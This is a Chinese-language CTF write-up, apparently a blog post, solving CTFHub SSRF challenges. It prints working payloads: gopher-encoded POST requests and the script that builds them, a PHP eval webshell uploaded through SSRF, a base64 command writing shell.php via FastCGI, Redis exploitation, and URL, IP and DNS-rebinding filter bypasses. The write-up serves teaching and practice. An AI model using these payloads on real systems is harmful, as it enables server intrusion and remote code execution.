文章目录
Http、Dict和file等协议的利用
内网访问
尝试访问位于127.0.0.1下的flag.php
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-v612KgCk-1650266415133)(内网访问.png)]](https://i-blog.csdnimg.cn/blog_migrate/514b4a2aea7a32ad022d2611af448bd1.png)
直接上?url=_127.0.0.1/flag.php
发现没有显示
尝试直接打开flag.php
发现被限制
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ADT7fWla-1650266415134)(内网访问-0.png)]](https://i-blog.csdnimg.cn/blog_migrate/39019d2e566e5d7975bc2b375d757bfe.png)
后来才发现是多了一个下划线
?url=127.0.0.1/flag.php
就KO了!
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OfDUZNu1-1650266415135)(内网访问-1.png)]](https://i-blog.csdnimg.cn/blog_migrate/9cad8ed974b71b31003f578c0b90fd2d.png)
伪协议读取文件
题目
尝试去读取一下Web目录下的flag.php吧
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-26BWTpaE-1650266415135)(伪协议读取文件.png)]](https://i-blog.csdnimg.cn/blog_migrate/afd7319e5006b2fc33e8521c74adc76c.png)
提示利用为协议读取文件
url伪协议
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
网站文件一般在 var/www/html/
尝试访问 var/www/html/flag.php
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BbowyHQY-1650266415136)(伪协议读取文件1.png)]](https://i-blog.csdnimg.cn/blog_migrate/13bfffbc698aefe7906b0db96bfc72c4.png)
查看源码,发现flag
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AO6PtIfC-1650266415136)(伪协议读取文件2.png)]](https://i-blog.csdnimg.cn/blog_migrate/037210e35f40696477af87c42a40ebd6.png)
端口扫描
SSRF的简单科普 - SecPulse.COM | 安全脉搏
SSRF在有无回显方面的利用及其思考与总结 - 先知社区 (aliyun.com)
[WEB安全]SSRF中URL的伪协议 (bbsmax.com)
题目
来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦,
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ssdFrMJJ-1650266415137)(端口扫描.png)]](https://i-blog.csdnimg.cn/blog_migrate/ee5f46d261b8f29f61759aed0bd3e877.png)
根据提示扫描端口8000-9000
端口扫描一般使用dict://
http://challenge-766d4b029aec8a13.sandbox.ctfhub.com:10800/?url=dict://127.0.0.1:8000
利用burpsuite抓包,进行端口爆破扫描
8987端口
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nC9U9Umt-1650266415137)(伪协议读取文件3.png)]](https://i-blog.csdnimg.cn/blog_migrate/c07307ddcb00d471e0acbf9025b64447.png)
使用http:// 访问
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-c36lVUhz-1650266415138)(伪协议读取文件4.png)]](https://i-blog.csdnimg.cn/blog_migrate/a68b21858873bde6a512fcf4d2014e5a.png)
gopher协议利用
POST请求
这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dsayx4u8-1650266415139)(POST请求.png)]](https://i-blog.csdnimg.cn/blog_migrate/7a11bb2ab63e0e6cf5e06330c91311ed.png)
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vy7FUvG4-1650266415139)(POST请求1.png)]](https://i-blog.csdnimg.cn/blog_migrate/78d3fd44710a4f7d05fe0e223e782194.png)
查看网页源码
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SLx48Z0M-1650266415139)(POST请求2.png)]](https://i-blog.csdnimg.cn/blog_migrate/3403f4a727948ef9f1609ac63ab631bc.png)
<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=c0e86b425e4b28c1a38baafc3f4446a4-->
</form>
给出了一个key
key=c0e86b425e4b28c1a38baafc3f4446a4
尝试输进去试一试,提示只能从127.0.0.1 (内网)查看
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nBgvCycD-1650266415140)(POST请求3.png)]](https://i-blog.csdnimg.cn/blog_migrate/091533a9135c99ec12097287d6727cfb.png)
使用file://协议先看看indexphp,flag.php的源码
file:///var/www/html/index.php
file:///var/www/html/flag.php
index.php
<?php
error_reporting(0);
if (!isset($_REQUEST['url'])){
header("Location: /?url=_");
exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7ffVcJrp-1650266415140)(POST请求4.png)]](https://i-blog.csdnimg.cn/blog_migrate/3c1cdb4d08d1c5442ab9ecb527607489.png)
flag.php
<?php
error_reporting(0);
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
return;
}
$flag=getenv("CTFHUB");
$key = md5($flag);
if (isset($_POST["key"]) && $_POST["key"] == $key) {
echo $flag;
exit;
}
?>
<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>
我们需要使用gopher 协议,去帮我们提交带key的请求
使用 Gopher 协议向服务器发送 POST 包
构造 Gopher协议所需的 POST请求
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=c0e86b425e4b28c1a38baafc3f4446a4
使用 Gopher协议发送 POST请求包时,Host、Content-Type和Content-Length请求头是必不可少的,但在 GET请求中可以没有。
在向服务器发送请求时,首先浏览器会进行一次 URL解码,其次服务器收到请求后,在执行curl功能时,进行第二次 URL解码。
所以我们需要对构造的请求包进行两次 URL编码
网上payload脚本
import urllib.parse
payload =\
"""
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=c0e86b425e4b28c1a38baafc3f4446a4
"""
#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result) # 这里因为是GET请求所以要进行两次url编码
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-C6Kx0cwC-1650266415141)(POST请求5.png)]](https://i-blog.csdnimg.cn/blog_migrate/0795bb04e2b53ca935e249cc788b788b.png)
http://challenge-310f9587fa3d34a9.sandbox.ctfhub.com:10800/?url=gopher%3A//127.0.0.1%3A80/_%250D%250APOST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Dc0e86b425e4b28c1a38baafc3f4446a4%250D%250A
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-uuKsCcDu-1650266415142)(POST请求6.png)]](https://i-blog.csdnimg.cn/blog_migrate/53ca380469c931d5853c85777d06fb1b.png)
文件上传
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yn48NgET-1650266415142)(文件上传.png)]](https://i-blog.csdnimg.cn/blog_migrate/79e8be738cd33377a172ddb814dbd581.png)
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JC7Yalef-1650266415143)(文件上传0.png)]](https://i-blog.csdnimg.cn/blog_migrate/a3206a912458cda6af1c3301ee77af69.png)
查看源码
?url=file:///var/www/html/flag.php
?url=file:///var/www/html/index.php
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wjQHgi3c-1650266415143)(文件上传1.png)]](https://i-blog.csdnimg.cn/blog_migrate/ae8c3147c6950a36a97211faa79dc8a1.png)
<?php
error_reporting(0);
if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
echo "Just View From 127.0.0.1";
return;
}
if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){
echo getenv("CTFHUB");
exit;
}
?>
Upload Webshell
<form action="/flag.php" method="post" enctype="multipart/form-data">
<input type="file" name="file">
</form>
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hLxpa2ua-1650266415143)(文件上传2.png)]](https://i-blog.csdnimg.cn/blog_migrate/611a753b1380f370565193703d8562db.png)
<?php
error_reporting(0);
if (!isset($_REQUEST['url'])) {
header("Location: /?url=_");
exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
尝试上传webshell
先把提交按钮搞出来
<input type='submit' name ='submit'>
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NZ3lvG3G-1650266415144)(文件上传3.png)]](https://i-blog.csdnimg.cn/blog_migrate/b8bcecc3916c0afbbf0b69b575568d6f.png)
抓包,提交,还是要在内部上传、
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Bjv4yQ7d-1650266415144)(文件上传4.png)]](https://i-blog.csdnimg.cn/blog_migrate/b08f43f92b68660229cfb01678a7a271.png)
继续使用gopher协议
使用刚才的payload脚本,把抓到的数据包放进payload里
import urllib.parse
payload =\
"""
POST /flag.php HTTP/1.1
Host: challenge-b83e59b914bddde3.sandbox.ctfhub.com:10800
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------312108925317709946761014349212
Content-Length: 389
Origin: http://challenge-b83e59b914bddde3.sandbox.ctfhub.com:10800
Connection: close
Referer: http://challenge-b83e59b914bddde3.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
-----------------------------312108925317709946761014349212
Content-Disposition: form-data; name="file"; filename="web.php"
Content-Type: application/octet-stream
<?php
@eval($_POST['shell']);
?>
-----------------------------312108925317709946761014349212
Content-Disposition: form-data; name="file"
鎻愪氦鏌ヨ
-----------------------------312108925317709946761014349212--
"""
#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result) # 这里因为是GET请求所以要进行两次url编码
直接url访问
http://challenge-b83e59b914bddde3.sandbox.ctfhub.com:10800/?url=gopher%3A//127.0.0.1%3A80/_%250D%250APOST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520challenge-b83e59b914bddde3.sandbox.ctfhub.com%253A10800%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%253B%2520rv%253A99.0%2529%2520Gecko/20100101%2520Firefox/99.0%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252C%252A/%252A%253Bq%253D0.8%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.8%252Czh-TW%253Bq%253D0.7%252Czh-HK%253Bq%253D0.5%252Cen-US%253Bq%253D0.3%252Cen%253Bq%253D0.2%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D---------------------------312108925317709946761014349212%250D%250AContent-Length%253A%2520389%250D%250AOrigin%253A%2520http%253A//challenge-b83e59b914bddde3.sandbox.ctfhub.com%253A10800%250D%250AConnection%253A%2520close%250D%250AReferer%253A%2520http%253A//challenge-b83e59b914bddde3.sandbox.ctfhub.com%253A10800/%253Furl%253D127.0.0.1/flag.php%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250APragma%253A%2520no-cache%250D%250ACache-Control%253A%2520no-cache%250D%250A%250D%250A-----------------------------312108925317709946761014349212%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522web.php%2522%250D%250AContent-Type%253A%2520application/octet-stream%250D%250A%250D%250A%253C%253Fphp%250D%250A%2540eval%2528%2524_POST%255B%2527shell%2527%255D%2529%253B%250D%250A%253F%253E%250D%250A-----------------------------312108925317709946761014349212%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%250D%250A%250D%250A%25E9%258E%25BB%25E6%2584%25AA%25E6%25B0%25A6%25E9%258F%258C%25E3%2583%25A8%25EE%2587%2597%250D%250A-----------------------------312108925317709946761014349212--%250D%250A
得到flag
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-22drdEPa-1650266415144)(文件上传5.png)]](https://i-blog.csdnimg.cn/blog_migrate/876011195c537b16dabb523460e0fcb8.png)
FastCGI协议
这次.我们需要攻击一下fastcgi协议咯.也许附件的文章会对你有点帮助
附件文章 https://blog.youkuaiyun.com/mysteryflower/article/details/94386461
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-o5NyiKKr-1650266415145)(FastCGI协议.png)]](https://i-blog.csdnimg.cn/blog_migrate/5550402585b232d33c3098c24156bd51.png)
使用gopherus工具
下载地址
https://codeload.github.com/tarunkant/Gopherus/zip/refs/heads/master
攻击fastcgi协议利用条件:
libcurl版本>=7.45.0
PHP-FPM监听端口
PHP-FPM版本 >= 5.3.3
知道服务器上任意一个php文件的绝对路径`
gopherus使用
python gopherus.py --exploit fastcgi
/var/www/html/index.php # 这里输入的是一个已知存在的php文件
echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4 | base64 -d > /var/www/html/shell.php
<?php eval($_POST[whoami]);?>
base64加密
PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3Ff71Jb6-1650266415145)(FastCGI协议1.png)]](https://i-blog.csdnimg.cn/blog_migrate/4c4ffe2b3e82910268fe3539a437d33c.png)
需要将生成的进行一次编码,因为get本身会进行一次url解码
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-uFGAjn7v-1650266415146)(FastCGI协议2.png)]](https://i-blog.csdnimg.cn/blog_migrate/8b68dd36aa570ef48eb538b648a4dadc.png)
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ANXBIEvz-1650266415146)(FastCGI协议3.png)]](https://i-blog.csdnimg.cn/blog_migrate/1c7c0fb1bf6c68f52eb09955675a5f38.png)
蚁剑连接
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dJzqwHYz-1650266415147)(FastCGI协议4.png)]](https://i-blog.csdnimg.cn/blog_migrate/230d7d527ffdb44d712ec4d90e1fab6d.png)
在根目录发现flag文档
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XTko3rKy-1650266415148)(FastCGI协议5.png)]](https://i-blog.csdnimg.cn/blog_migrate/8c15a8225062f7d2c9bb9c4c5024341c.png)
Redis协议
这次来攻击redis协议吧.redis://127.0.0.1:6379,资料?没有资料!自己找!
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-v7QH14Af-1650266415148)(Redis协议.png)]](https://i-blog.csdnimg.cn/blog_migrate/9053b5a06eb3fb8332657dd7f2d34ef2.png)
还是使用gopherus工具
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1gvuvWke-1650266415148)(Redis协议1.png)]](https://i-blog.csdnimg.cn/blog_migrate/8034e9167dfaf8f94e6c5a687a6d55ae.png)
再次url编码
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tiAARoUY-1650266415149)(Redis协议2.png)]](https://i-blog.csdnimg.cn/blog_migrate/a97deaeecd3de694dc6f5549cb9cf958.png)
url访问虽然502,但是文件已经写入
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BDH2RpCw-1650266415149)(Redis协议3.png)]](https://i-blog.csdnimg.cn/blog_migrate/d70d13987721a6e0734b1c6bde630a35.png)
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bPdJRBDM-1650266415150)(Redis协议4.png)]](https://i-blog.csdnimg.cn/blog_migrate/17d82bd6b92cc0b89e421ce5ad68f654.png)
蚁剑连接就行
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IxzHqGPR-1650266415150)(Redis协议5.png)]](https://i-blog.csdnimg.cn/blog_migrate/c49330c6f8390c3d6e891d5552d5d0f4.png)
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1c5ynY8c-1650266415151)(Redis协议6.png)]](https://i-blog.csdnimg.cn/blog_migrate/d135bcd098015f9086ac494776397214.png)
Bypass
URL Bypass
1. 单斜线"/"绕过
https://www.landgrey.me/redirect.php?url=/www.evil.com
2. 缺少协议绕过
https://www.landgrey.me/redirect.php?url=//www.evil.com
3. 多斜线"/"前缀绕过
https://www.landgrey.me/redirect.php?url=///www.evil.com
https://www.landgrey.me/redirect.php?url=////www.evil.com
4. 利用"@"符号绕过
https://www.landgrey.me/redirect.php?url=https://www.landgrey.me@www.evil.com
5. 利用反斜线"\"绕过
https://www.landgrey.me/redirect.php?url=https://www.evil.com\www.landgrey.me
6. 利用"#"符号绕过
https://www.landgrey.me/redirect.php?url=https://www.evil.com#www.landgrey.me
7. 利用"?"号绕过
https://www.landgrey.me/redirect.php?url=https://www.evil.com?www.landgrey.me
8. 利用"\\"绕过
https://www.landgrey.me/redirect.php?url=https://www.evil.com\\www.landgrey.me
9. 利用"."绕过
https://www.landgrey.me/redirect.php?url=.evil (可能会跳转到www.landgrey.me.evil域名)
https://www.landgrey.me/redirect.php?url=.evil.com (可能会跳转到evil.com域名)
10.重复特殊字符绕过
https://www.landgrey.me/redirect.php?url=///www.evil.com//..
https://www.landgrey.me/redirect.php?url=////www.evil.com//..
11 xip.io绕过
http://xxx.yyy.zzz.xip.io/ == xxx.yyy.zzz xxx任意
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-iUZHHyDj-1650266415151)(URL Bypass.png)]](https://i-blog.csdnimg.cn/blog_migrate/8f0607d78def0c8be4fb0449b6ebd748.png)
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ltwQtnK9-1650266415151)(URL Bypass1.png)]](https://i-blog.csdnimg.cn/blog_migrate/127a88cf3d0f72b5b00342ed8526ed1e.png)
构造urlbypass payload
利用"@"符号绕过
http://challenge-71a16ac5a43dfae7.sandbox.ctfhub.com:10800/?url=http://notfound.ctfhub.com@127.0.0.1/flag.php

其余的都试了一下,结果都不行。这里只有@可以绕过。
数字IP Bypass
这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kHZuo9Gu-1650266415152)(数字IP Bypass.png)]](https://i-blog.csdnimg.cn/blog_migrate/7099154cd4e37429129171af0cf86ac5.png)
10进制确实被禁止,可以使用可以十六进制,二进制等其他进制
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qEbcrQgz-1650266415152)(数字IP Bypass1.png)]](https://i-blog.csdnimg.cn/blog_migrate/d5c6c81bd40a10a689dc702db93ab094.png)
ip地址进制转换
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-McDYYG2l-1650266415153)(数字IP Bypass2.png)]](https://i-blog.csdnimg.cn/blog_migrate/ea75178a3d41c16e3198b8e8e9c0fbd6.png)
127.0.0.1
十六进制 = 7F000001
二进制 = 1111111000000000000000000000001
16进制 0x/0X (二进制 0b/0B 试了一下不行)
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nrDAytB9-1650266415153)(数字IP Bypass3.png)]](https://i-blog.csdnimg.cn/blog_migrate/917644b76c441fab190aac265d7365d4.png)
302跳转 Bypass
SSRF中有个很重要的一点是请求可能会跟随302跳转,尝试利用这个来绕过对IP的检测访问到位于127.0.0.1的flag.php吧
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UK7k5LGt-1650266415153)(302跳转 Bypass.png)]](https://i-blog.csdnimg.cn/blog_migrate/dba2234d7e0f8b862273e5d88d043514.png)
这一关主要检测127.0.0.1,绕过就行
查看源码
?url=file:///var/www/html/index.php
index.php
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-u9QNNt4v-1650266415154)(302跳转 Bypass5.png)]](https://i-blog.csdnimg.cn/blog_migrate/31b9abe317bb4be17f5850d679b77ca8.png)
<?php
error_reporting(0);
if (!isset($_REQUEST['url'])) {
header("Location: /?url=_");
exit;
}
$url = $_REQUEST['url'];
if (preg_match("/127|172|10|192/", $url)) {
exit("hacker! Ban Intranet IP");
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
查看源码
?url=file:///var/www/html/flag.php
flag.php
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qCzxh2oy-1650266415154)(302跳转 Bypass4.png)]](https://i-blog.csdnimg.cn/blog_migrate/80be3935b926f7f0bb2628acd376a33a.png)
<?php
error_reporting(0);
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
exit;
}
echo getenv("CTFHUB");
进制转换
具有127.0.0.1含义的其他地址
参考关于localhost,0.0.0.0及127.0.0.1的区别
都可以直接KO,
进制转换 16进制 2进制(会被检测)
?url=0x7F000001/flag.php
?url=http://0x7F000001/flag.php
其他代表127.0.0.1地址符号的 localhost 0
localhos在IPV4中被指向127.0.0.1
?url=localhost/flag.php
?url=http://localhost/flag.php
?url=0/flag.php
?url=http://0/flag.php
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ICRcuHjr-1650266415155)(302跳转 Bypass1.png)]](https://i-blog.csdnimg.cn/blog_migrate/07b71ba12e57c23ff82329b6030754de.png)
DNS重绑定 Bypass
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1aHlUFnM-1650266415155)(DNS重绑定 Bypass.png)]](https://i-blog.csdnimg.cn/blog_migrate/6617ed758faa155105564b66c23a8c43.png)
附件地址 https://zhuanlan.zhihu.com/p/89426041
DNS TTL
TTL值全称是“生存时间(Time To Live)”,简单的说它表示DNS记录在DNS服务器上缓存时间,数值越小,修改记录各地生效时间越快。
当各地的DNS(LDNS)服务器接受到解析请求时,就会向域名指定的授权DNS服务器发出解析请求从而获得解析记录;该解析记录会在DNS(LDNS)服务器中保存一段时间,这段时间内如果再接到这个域名的解析请求,DNS服务器将不再向授权DNS服务器发出请求,而是直接返回刚才获得的记录;而这个记录在DNS服务器上保留的时间,就是TTL值。
常见的设置TTL值的场景
1.增大TTL值,以节约域名解析时间
通常情况下域名解析记录是很少更改的。我们可以通过增大域名记录的TTL值让记录在各地DNS服务器中缓存的时间加长,这样在更长的时间段内,我们访问这个网站时,本地ISP的DNS服务器就不需要向域名的NS服务器发出解析请求,而直接从本地缓存中返回域名解析记录,从而提高解析效率。 TTL值是以秒为单位的,通常的默认值都是3600,也就是默认缓存1小时。我们可以根据实际需要把TTL值扩大,例如要缓存一天就设置成86400。
2.减小TTL值,减少更新域名记录时的不可访问时间
更换空间因为TTL缓存的问题,新的域名记录,在有的地方可能生效了,有的地方可能等上一两天甚至更久才生效。结果就是有的人访问到了新服务器,有的人访问到了旧服务器。如果原来的域名TTL值设置的小,各地的ISP域名缓存服务器服务器就会很快的访问你域名的权威DNS解析服务器,尽快把你域名的DNS解析IP返回给查询者。
DNS Rebinding 攻击
在网页浏览过程中,用户在地址栏中输入包含域名的网址。浏览器通过DNS服务器将域名解析为IP地址,然后向对应的IP地址请求资源,最后展现给用户。而对于域名所有者,他可以设置域名所对应的IP地址。当用户第一次访问,解析域名获取一个IP地址;然后,域名持有者修改对应的IP地址;用户再次请求该域名,就会获取一个新的IP地址。对于浏览器来说,整个过程访问的都是同一域名,所以认为是安全的。这就造成了DNS Rebinding攻击。
查看源码
?url=file:///var/www/html/flag.php
?url=file:///var/www/html/index.php
flag.php
<?php
error_reporting(0);
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
exit;
}
echo getenv("CTFHUB");
index.php
<?php
error_reporting(0);
if (!isset($_REQUEST['url'])) {
header("Location: /?url=_");
exit;
}
$url = $_REQUEST['url'];
if (preg_match("/127|172|10|192/", $url)) {
exit("hacker! Ban Intranet IP");
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
上一关的localhost、0是不行的
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AeyHDQG0-1650266415155)(DNS重绑定 Bypass1.png)]](https://i-blog.csdnimg.cn/blog_migrate/9230d0a385d4da57818298f6b8272c8f.png)
过滤不严谨—0.0.0.0
正常的思路应该是使用的他给的提示—DNS重绑定 对这个方向进行突破
结果0.0.0.0/直接给KO了
应该是因为0.0.0.0代表本机网络中的本机,(也相当于127.0.0.1)
而过滤规则没有把0.0.0.0给禁止掉
结果就KO,拿到flag!(小意外)
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-l2cYyX3X-1650266415156)(DNS重绑定 Bypass2.png)]](https://i-blog.csdnimg.cn/blog_migrate/cf3937dd57b1020fc9ce1e6339cb89c9.png)
DNS重绑定
https://lock.cmpxchg8b.com/rebinder.html
这是一个测试dns重绑定漏洞的网站,可以让一个域名随机的绑定两个IP
一个127.0.0.1,一个其他的ip(能访问就行,我设置的是自己的服务器ip)
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OWSS7vEI-1650266415156)(DNS重绑定 Bypass5.png)]](https://i-blog.csdnimg.cn/blog_migrate/cc40e7c496096cb2c77354b9593249b2.png)
DNS解析有两种可能(可能解析的ip是127.0.0.1或者另外一个ip)
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kzOGiQHu-1650266415157)(DNS重绑定 Bypass6.png)]](https://i-blog.csdnimg.cn/blog_migrate/b3d0003755bf1b64e81481d29299ce7e.png)
然后直接在url中输入
?url=7000001.7cddf025.rbnd.us/flag.php
另外一个ip的结果
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RoR8Zf7a-1650266415157)(DNS重绑定 Bypass3.png)]](https://i-blog.csdnimg.cn/blog_migrate/3345f1361bb7d2f4cdc0ed7922972763.png)
按着F5不停刷新浏览器就行,很快就能出现127.0.0.1的结果。
解析到127.0.0.1的时候就看到flag了


被折叠的 条评论
为什么被折叠?



